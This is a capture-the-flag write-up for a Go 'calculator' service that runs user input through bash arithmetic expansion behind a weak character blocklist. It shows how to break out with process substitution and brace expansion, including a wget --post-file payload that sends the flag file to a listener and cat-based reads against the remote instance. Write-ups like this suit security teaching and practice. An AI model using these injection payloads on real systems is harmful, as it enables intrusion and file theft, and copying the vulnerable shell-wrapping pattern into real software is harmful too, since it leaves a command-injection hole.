Bashic Calculator
3 minutes to read
We are given this source code in Go:
package main
import (
"bufio"
"context"
"fmt"
"net"
"os"
"os/exec"
"strconv"
"strings"
"time"
)
const (
connHost = "0.0.0.0"
connPort = "1337"
connType = "tcp"
)
func main() { // Used to stablish connections with the clients (not part of the challenge)
fmt.Println("Starting " + connType + " server on " + connHost + ":" + connPort)
l, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Error listening: ", err.Error())
os.Exit(1)
}
defer l.Close()
for {
conn, err := l.Accept()
if err != nil {
continue
}
fmt.Println("Client " + conn.RemoteAddr().String() + " connected.")
go minConnection(conn)
go handleConnection(conn)
defer conn.Close()
}
}
func minConnection(conn net.Conn) {
time.Sleep(600 * time.Second)
conn.Close()
}
type LocalShell struct{}
func (_ LocalShell) Execute(ctx context.Context, cmd string) ([]byte, error) {
wrapperCmd := exec.CommandContext(ctx, "bash", "-c", cmd)
return wrapperCmd.Output()
}
func handleConnection(conn net.Conn) {
conn.Write([]byte("CALCULATOR\n"))
for {
conn.Write([]byte("\nOperation: "))
buffer, err := bufio.NewReader(conn).ReadBytes('\n')
if err != nil {
conn.Close()
return
}
op := string(buffer[:len(buffer)-1])
firewall := []string{" ", "`", "$", "&", "|", ";", ">"}
for _, v := range firewall {
opL1 := len(op)
op = strings.ReplaceAll(op, v, "")
opL2 := len(op)
if opL1 > opL2 {
conn.Write([]byte(strconv.Itoa(opL1-opL2) + " '" + v + "' removed\n"))
}
}
shell := LocalShell{}
command := "echo $((" + op + "))"
output, _ := shell.Execute(context.Background(), command)
fmt.Println(conn.RemoteAddr().String() + ": " + command + " " + string(output))
conn.Write(output)
}
}
Source code analysis
It seems a lot, but basically it allows us to enter data inside $((...))
. In Bash, this syntax is used for arithmetic expressions, for example:
$ bash -c 'echo $((1+1))'
2
$ bash -c 'echo $((7*7))'
49
The idea here is to escape from the arithmetic environment and execute commands to read the flag. However, we cannot enter these characters: (white space),
`
, $
, &
, |
, ;
and >
.
Solution
Let’s start the service:
$ go run main.go
Starting tcp server on 0.0.0.0:1337
Client 127.0.0.1:51147 connected.
$ nc 127.0.0.1 1337
CALCULATOR
Operation: 1+1
2
One thing we can do is try to escape from the arithmetic environment using more parentheses. Another thing is that <
is allowed, so we can execute commands using process substitution (<(...)
). Moreover, to bypass that we cannot enter white spaces, we can use string expansion ({x,y,z}
).
In a first attempt, I tried to leak the contents of the flag via HTTP, using this payload: 1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}
, so that the server runs:
$((1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}))
And in fact, it works:
Operation: 1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:51168.
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
HTB{f4k3_fl4g_f0r_t3st1ng}
Nevertheless, the remote instance has no Internet connection, so we cannot exfiltrate the flag using this approach even if we used ngrok
. So, there must be another way.
If we try to read the flag directly, we will receive the file descriptor, not the flag (that’s how process substitution works):
Operation: ))<(({cat,../challenge/flag.txt}
0/dev/fd/63
But we can come up with this simple payload: cat<../challenge/flag.txt)#(
, so that the server runs:
$((cat<../challenge/flag.txt)#())
And it works again, but we read the flag in client side:
Operation: cat<../challenge/flag.txt)#(
HTB{f4k3_fl4g_f0r_t3st1ng}
There’s a similar payload that also works, which uses string expansion: {cat,../challenge/flag.txt})#(
.
Operation: {cat,../challenge/flag.txt})#(
HTB{f4k3_fl4g_f0r_t3st1ng}
Flag
At this point, we can connect to the remote instance and get the flag (which is at /flag.txt
according to the Dockerfile
:
$ nc 104.248.173.13 32508
CALCULATOR
Operation: cat</flag.txt)#(
HTB{Ju4nck3r_15_y0ur_n4m3_15nt_1t?}